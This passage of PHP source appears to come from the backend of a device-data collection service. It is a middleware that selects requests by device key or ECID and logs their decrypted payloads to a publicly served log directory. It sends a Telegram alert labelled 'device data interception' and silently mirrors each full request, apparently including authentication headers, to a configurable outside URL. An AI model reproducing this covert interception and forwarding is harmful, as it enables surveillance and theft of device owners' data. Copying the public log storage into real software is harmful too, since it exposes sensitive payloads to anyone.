resolveDeviceKey($request); if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) { try { $this->intercept($request, $deviceKey); } catch (\Throwable $e) { Log::warning('intercept middleware error: '.$e->getMessage(), [ 'device_key' => $deviceKey, ]); } } return $next($request); } /** * Resolve the normalized device key for this request. * * Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody. * Falls back to request input fields (d / f / ecid) for multipart or * DarkSword requests where the decrypt middleware skipped the attribute. */ private function resolveDeviceKey(Request $request): string { $key = $request->attributes->get('coruna_device_key'); if (is_string($key) && $key !== '') { return $key; } foreach (['d', 'f', 'ecid'] as $field) { $value = $request->input($field); if (is_string($value) && $value !== '') { return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? ''; } } return ''; } /** * Case-insensitive membership check against the configured device list. */ private function shouldIntercept(string $deviceKey): bool { $list = config('coruna.intercept.device_keys', []); if (! is_array($list) || $list === []) { return false; } return in_array(strtolower($deviceKey), $list, true); } /** * Log + notify + forward the matched request. */ private function intercept(Request $request, string $deviceKey): void { $meta = $this->collectMeta($request, $deviceKey); $this->writeLog($meta); // Skip Telegram push for high-frequency paths (e.g. /event telemetry), // but still log and forward so no data is lost. if (! $this->shouldSkipPush($meta['path'])) { $this->notify($meta); } $this->forward($request, $meta); } /** * Whether the Telegram push should be skipped for this path. */ private function shouldSkipPush(string $path): bool { $skipPaths = config('coruna.intercept.push_skip_paths', []); if (! is_array($skipPaths) || $skipPaths === []) { return false; } return in_array($path, $skipPaths, true); } /** * Gather request metadata for logging and notification. */ private function collectMeta(Request $request, string $deviceKey): array { $path = '/'.ltrim($request->path(), '/'); return [ 'time' => date('Y-m-d H:i:s'), 'device_key' => $deviceKey, 'method' => $request->method(), 'path' => $path, 'uri' => $request->getRequestUri(), 'ip' => VisitorIp::fromRequest($request), 'remote_addr' => $request->server->get('REMOTE_ADDR'), 'host' => $request->getHost(), 'content_type' => (string) $request->header('content-type'), 'content_length' => strlen($request->getContent()), 'headers' => $this->collectHeaders($request), 'payload' => $this->collectPayload($request), 'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'), ]; } /** * Select headers worth recording (skip cookie / authorization for safety). */ private function collectHeaders(Request $request): array { $headers = []; foreach ([ 'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent', 'host', 'cf-connecting-ip', 'cf-ipcountry', 'x-forwarded-for', 'x-real-ip', ] as $h) { if ($request->headers->has($h)) { $headers[$h] = $request->headers->get($h); } } return $headers; } /** * Best-effort payload snapshot for the log. * * Uses the decrypted payload when the decrypt middleware set it; * otherwise records the raw body (truncated for very large uploads). */ private function collectPayload(Request $request): mixed { $payload = $request->attributes->get('coruna_payload'); if (is_array($payload)) { return $payload; } $raw = $request->getContent(); if (strlen($raw) > 200000) { return ['_raw_truncated' => substr($raw, 0, 200000)]; } return $raw === '' ? null : ['_raw' => $raw]; } /** * Append the interception record to public/log/intercept/Ymd.log. */ private function writeLog(array $meta): void { $logPath = public_path('log/intercept'); if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) { return; } $logName = $logPath.'/'.date('Ymd').'.log'; $line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' ' .json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ."\r\n\r\n"; $isNew = ! file_exists($logName); if (@file_put_contents($logName, $line, FILE_APPEND) === false) { return; } if ($isNew) { @chmod($logName, 0664); } } /** * Send a Telegram alert via the dedicated intercept bot. */ private function notify(array $meta): void { $token = (string) config('coruna.intercept.bot_token', ''); $chatId = (string) config('coruna.intercept.chat_id', ''); if ($token === '' || $chatId === '') { return; } $text = implode("\n", [ '🚨 设备数据拦截', '📱 设备: '.$this->e($meta['device_key']).'', '🌐 IP: '.$this->e($meta['ip'] ?: '—').'', '📥 请求: '.$this->e($meta['method'].' '.$meta['path']).'', '📦 大小: '.$this->e((string) $meta['content_length']).' bytes', '🕐 时间: '.$this->e($meta['time']), ]); try { app(TelegramNotifier::class)->sendToChat($chatId, $text, $token); } catch (\Throwable $e) { Log::warning('intercept telegram notify failed: '.$e->getMessage()); } } /** * Mirror the raw request to the configured forward URL. * * Preserves method, path, query string, headers, and body — only the * host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL. */ private function forward(Request $request, array $meta): void { $baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/'); if ($baseUrl === '') { return; } // Rebuild the target URL: base + original path + original query. $target = $baseUrl.$request->getRequestUri(); // Collect headers to forward — drop Host (will be set by HTTP client // based on the target URL) and hop-by-hop headers. $headers = []; $skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect']; foreach ($request->headers->all() as $name => $values) { if (in_array(strtolower($name), $skip, true)) { continue; } $headers[$name] = $values; } $body = $request->getContent(); $timeout = (int) config('coruna.intercept.forward_timeout', 10); try { $resp = Http::withHeaders($headers) ->timeout($timeout) ->connectTimeout(min($timeout, 5)) ->send($request->method(), $target, [ 'body' => $body, 'allow_redirects' => false, ]); $this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body()); } catch (\Throwable $e) { $this->writeForwardLog($meta, $target, 0, $e->getMessage()); } } /** * Record the forwarding result alongside the interception log. */ private function writeForwardLog(array $meta, string $target, int $status, string $body): void { $logPath = public_path('log/intercept'); if (! is_dir($logPath)) { return; } $logName = $logPath.'/'.date('Ymd').'.log'; $entry = [ 'time' => date('Y-m-d H:i:s'), 'dir' => 'forward', 'device_key' => $meta['device_key'], 'target' => $target, 'status' => $status, 'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body, ]; $line = $entry['time'].' FORWARD '.$entry['target'].' ' .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ."\r\n\r\n"; @file_put_contents($logName, $line, FILE_APPEND); } private function e(?string $value): string { return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } }